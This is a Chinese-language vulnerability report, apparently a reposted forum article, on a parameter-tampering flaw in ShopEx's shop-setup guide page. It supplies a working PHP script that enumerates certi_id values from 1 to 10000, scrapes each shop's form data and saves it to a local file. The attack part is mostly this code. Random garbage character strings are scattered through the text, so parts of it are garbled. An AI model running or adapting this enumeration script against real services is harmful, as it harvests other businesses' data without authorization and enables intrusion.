ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
6 W4 ^3 J& T6 f0 n  d. I& d4 w. a详细说明：
6 \) L! ~( Z1 n问题出现在shopex 网店使用向导页面
; }2 |& @7 k4 j/ o9 ]" P) @


http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

7 R4 f9 B% a! l2 s5 P, w. O0 |

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
8 _3 o0 K; s7 u7 g- p
, m" X( \8 j( x( c9 W
9 h1 f, g5 q# v0 f3 J: H
/ q6 H0 V7 v. r% G/ r5 w我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


9 L1 d$ x9 g1 E( K' p# q: U1 o
9 ~/ b# i7 a. Z/ k- h3 V2 T. [* n<?php

5 ~' T. O: K. B8 c                for ($i=1; $i < 10000; $i++) { //遍历
& u2 q$ D( p( [4 k  S7 F
                        ShowshopExD($i);
% _! O" i5 U- J
& P, c" ^* F, V6 Y8 U; o/ n0 B" G                }

                function ShowshopExD($cid) {
. \2 o+ ~3 v/ i2 k
% L7 |  P; i* {* o                $url='http://guide.ecos.shopex.cn/step2.php';
8 U" W1 D9 a0 Z( i
4 g" o5 Z; ~- Q9 e" @                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;

& e% T, D8 }' A- P' f# a        $ch = curl_init($url);

) @4 T$ {6 V4 o; C        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
0 p, p! {' S' _/ B' `0 |
, X; {1 `; X3 p# s        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

4 e- U6 p- G3 m+ J" Y  @4 K        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
. b( B/ {9 R5 S4 \& M
        if(strpos($result,$refer))

0 y6 w: M% D! J7 V& o- \        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
$ |9 k' g! I8 @2 j& s; y/ h
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
: Z- p/ M) V& E/ ?! i) i. y- z  F8 \
                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));

                }
, q7 b. g6 P: q# |6 U$ u7 ]" Y7 o
                echo '--------------------------------'."\r\n";

- M  M4 T3 D  A9 A                fclose($fp);

        }
4 j7 b  h1 _) ~
4 U+ Y1 o" E$ d% g" R: [: K        flush();
1 V# E! ^) D6 |. s( K5 o6 G% O2 ]
        curl_close($ch);
& E) t0 O8 G% U+ J2 \, |' ^2 `
                }

?>
2 P' ]( b) U) e漏洞证明：
5 @) G, x0 Z1 p" B! y! F) Vhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
4 x- I- H) B% Zrefer换成其他加密方式